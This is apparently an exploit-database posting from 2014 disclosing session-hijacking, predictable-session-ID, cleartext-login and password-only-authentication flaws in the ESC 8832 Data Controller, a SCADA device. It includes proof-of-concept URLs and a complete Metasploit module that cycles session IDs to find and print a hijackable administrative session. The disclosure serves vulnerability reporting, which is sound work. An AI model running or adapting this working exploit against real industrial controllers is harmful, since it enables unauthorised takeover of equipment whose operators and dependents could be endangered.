ESC 8832 Data Controller – Multiple Vulnerabilities
=begin # Exploit Title: ESC 8832 Data Controller multiple vulnerabilities # Date: 2014-05-29 # Platform: SCADA / Web Application # Exploit Author: Balazs Makany # Vendor Homepage: www.envirosys.com # Version: ESC 8832 Data Controller Hardware # Tested on: ESC 8832 Data Controller Hardware # CVE : N/A (Yet) POC for session hijacking: From the attacker browser (unauthenticated), simply enter the following URL: http://IP_of_the_Device/escmenu.esp?sessionid=1&menuid=6 and increment the sessionid parameter, starting from 1 up until it makes sense. POC (and other vulns as well) was confirmed by the vendor Metasploit auxiliary module available at https://www.th3r3g3nt.com/public_files/esc_8832_session.rb Details [1] Insecure user session handling (Session Hijacking) Summary: This vulnerability allows an attacker to hijack a valid session that is in progress by a legitimate user. Details: Due to the predictable session generation and due to the lack of cookie based authentication in the web interface, it was confirmed that an attacker from a different source IP address can issue valid requests, impersonating the authenticated user. The attack complexity is very low, no special software is required. It was noted that valid sessions do time out after certain period of inactivity, however hijacked sessions can elongating the session validity. Impact: The attacker can bypass intended access restrictions and impersonate currently active users, including administrators. Successful exploitation will result in complete loss of control over the device, and may depend on the compromised user context. POC: From a browser, simply enter the following URL: http://IP_of_the_Device/escmenu.esp?sessionid=1&menuid=6 and modify the sessionid parameter, starting from 1 up until it makes sense. Typically 15 is high enough. [2] Insecure user session generation (Predictable user session generation) Summary: This vulnerability aids attackers to perform session hijacking Details: Upon successful authentication, the generated session ID are sequential in nature and starts at 1. For example if no user is authenticated, the first user who authenticates will receive the session ID 1. The next authenticated user will receive session ID 2 and so on. There is also seems to be a “read-only” / unknown behavior when user ID 0 is supplied. Negative, invalid and other fuzzable values were not tested. Impact: Successful exploitation will allow remote attackers to determine valid sessions, leading to session hijacking and can result in complete loss of control over the device. POC: N/A, confirmed by vendor [3] Insecure user authentication method (Unencrypted protocol) Summary: This vulnerability allows man-in-the-middle attackers to gain valid cleartext credentials Details: The device is only capable of HTTP based authentication, which doesn’t seem to offer encryption such as HTTPS. Note that the native end-point client shipped with the device was not tested. Impact: Man-in-the-middle attackers are able to sniff cleartext authentication credentials between the user and the device. Successful exploitation may result in partial or complete loss of control over the device, depending on the compromised user context. POC: N/A, see web interface open ports and protocols [4] Insecure user management (Lack of user names) Summary: This vulnerability significantly decreases the complexity requirements for bruteforce attacks Details: The web interface does not require a username to be entered in conjunction with the password; only the password drives the user role. Impact: Attackers can have significantly higher success rate for password bruteforcing. Successful exploitation may result in partial or complete loss of control over the device, depending on the compromised user context. POC: N/A, confirmed by vendor, inspect login screen [5] Insecure user session token transmission (Session token in HTTP GET) Summary: Session tokens are transmitted via HTTP GET request in unhashed form Details: Upon successful authentication, the session ID is being sent in the URL GET request. (http[nolink]:// 192.168.1.1/escmenu.esp?sessionid=1&menuid=6) Impact: Man-in-the-middle attackers and caching devices (proxies, routers with spanning ports, loggers, browser history, IDS/IPS etc.) can effectively capture valid session IDs. The session ID transmitted in the GET request is vulnerable to session hijacking. Successful exploitation may result in partial or complete loss of control over the device, depending on the compromised user context. POC: N/A, confirmed by vendor =end ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize(info={}) super(update_info(info, 'Name' => 'ESC 8832 Data Controller Session Hijack Scanner', 'Description' => %q{ This module detects if an active session is present and hijackable on the target ESC 8832 web interface.}, 'Author' => ['Balazs Makany'], 'References' => [ ['URL', 'https://www.th3r3g3nt.com/?p=28'], ], 'License' => MSF_LICENSE )) register_options([ Opt::RPORT(80), OptBool.new('STOP_ON_SUCCESS', [true, "Stop when a live session was found", true]), ]) deregister_options('RHOST') end def run_host(target_host) result = [] begin ('1'.. '15').each do |u| print_status("Scanning #{target_host} - with Session ID '#{u}'") #Just to be on the safe side here. sleep(1) res = send_request_raw({ 'uri' => '/escmenu.esp?sessionid='+u+'&menuid=6', 'method' => 'GET', 'headers' => { 'Connection' => 'Close' } }, 25) if (res and res.code == 200 and res.body) if res.body.match(/(Configuration\sMenu)/im) print_good("#{target_host} - Active Session found as #{u}!") print_good("Complete request: http://#{target_host}/escmenu.esp?sessionid=#{u}&menuid=6") report_vuln( { :host => target_host, :port => datastore['RPORT'], :name => "ESC 8832 Web Vulnerability", :info => "Module #{self.fullname} confirmed a valid session (#{u}) on the ESC 8832 Web Interface", } ) break if datastore['STOP_ON_SUCCESS'] end if res.body.match(/(Access\sDenied!)/im) print_status(" Dead session") end end end rescue ::Interrupt raise $! rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("Timeout or no connection on #{rhost}:#{rport}") return rescue ::Exception => e print_error("#{rhost}:#{rport} Error: #{e.class} #{e} #{e.backtrace}") return end end end |